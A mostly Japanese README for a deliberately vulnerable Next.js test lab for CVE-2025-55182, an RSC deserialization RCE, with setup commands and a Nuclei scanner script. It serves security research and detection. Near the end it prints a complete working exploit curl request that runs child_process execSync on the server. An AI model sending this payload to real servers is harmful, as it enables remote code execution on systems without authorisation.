
CVE-2025-55182(React Server Componentsにおける重大な(CVSS 10.0)リモートコード実行脆弱性)のためのコンテナ化テスト環境。
CVE-2025-55182 のコンテナ化テスト環境。React Server Components における重大な (CVSS 10.0) リモートコード実行脆弱性です。
この環境は意図的に脆弱であり、以下の目的にのみ使用すべきです:
使用禁止:
React パッケージ:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0Next.js:
React: 19.0.1, 19.1.2, 19.2.1 Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
# Build and start the vulnerable environment
podman compose up --build -d
# Check it's running
curl http://localhost:3000/api/status
# View logs
podman logs -f react2shell-vuln
# Stop
podman compose down
# Build and start the vulnerable environment
docker-compose up --build -d
# Access the application at http://localhost:3000
.
├── README.md # このファイル
├── Dockerfile # コンテナビルド手順
├── Dockerfile.dev # ホットリロード対応の開発用コンテナ
├── docker-compose.yml # Docker/Podman Compose 設定
├── CVE-2025-55182.yaml # Nuclei スキャナテンプレート
├── scan.sh # 汎用 Nuclei スキャナスクリプト
├── scan-results/ # スキャン出力ディレクトリ
└── vulnerable-app/ # 脆弱な Next.js アプリケーション
├── package.json # 依存関係 (脆弱なバージョン)
├── next.config.js # Next.js 設定
├── tsconfig.json # TypeScript 設定
└── app/ # App Router のページとコンポーネント
├── layout.tsx # ルートレイアウト
├── page.tsx # Server Components を含むメインページ
├── globals.css # スタイル
├── actions.ts # Server Actions
├── api/status/ # ステータス API エンドポイント
└── components/ # React コンポーネント
テンプレートがない場合は、公式の nuclei-templates リポジトリからダウンロードしてください:
curl -o CVE-2025-55182.yaml https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-55182.yaml
同梱の scan.sh は、Docker と Podman の両方で動作する汎用 Nuclei コンテナスキャナです。
# Scan the local vulnerable app
./scan.sh -u http://host.docker.internal:3000 -t CVE-2025-55182.yaml -v
# Scan any target
./scan.sh -u https://example.com -t CVE-2025-55182.yaml
# Scan with all Nuclei templates
./scan.sh -u https://example.com
# Scan multiple targets from a file
./scan.sh -l targets.txt -t CVE-2025-55182.yaml
# Filter by severity
./scan.sh -u https://example.com -s critical,high
# JSON output
./scan.sh -u https://example.com -t CVE-2025-55182.yaml -j
podman run --rm \
-v "$(pwd)/CVE-2025-55182.yaml:/templates/CVE-2025-55182.yaml:ro" \
docker.io/projectdiscovery/nuclei:latest \
-t /templates/CVE-2025-55182.yaml \
-u "http://host.docker.internal:3000" \
-v
コンテナが実行中になったら:
http://localhost:3000http://localhost:3000/api/status注: この脆弱性は RSC プロトコルにおける安全でないデシリアライゼーションを含みます。Nuclei テンプレートはこの特定の攻撃ベクトルをテストします。
修正版をテストするには、vulnerable-app/package.json を変更します:
{
"dependencies": {
"next": "15.5.7",
"react": "^19.1.2",
"react-dom": "^19.1.2"
}
}
その後、再ビルド:
# Podman
podman compose down
podman compose up --build -d
# Docker
docker-compose down
docker-compose up --build
このテスト環境は教育およびセキュリティ研究目的のみで提供されています。メンテナは本ソフトウェアの誤用について一切の責任を負いません。セキュリティ脆弱性をテストする前に、必ず適切な許可を取得してください。
curl -X POST http://localhost:3000 \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
-H "X-Nextjs-Request-Id: test123" \
--data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary--' \
-i 2>&1 | grep -i "x-action-redirect"
| オプション | 説明 |
|---|
-u, --url <url> | スキャンする単一ターゲットURL |
-l, --list <file> | ターゲットURLのリストを含むファイル |
-t, --template <file> | カスタムテンプレートファイルまたはディレクトリ |
-o, --output <dir> | 出力ディレクトリ (デフォルト: ./scan-results) |
-s, --severity <level> | フィルタ: info, low, medium, high, critical |
-r, --rate-limit <n> | 1秒あたりの最大リクエスト数 |
-j, --json | 結果をJSON形式で出力 |
-v, --verbose | 詳細出力 |
-h, --help | ヘルプメッセージを表示 |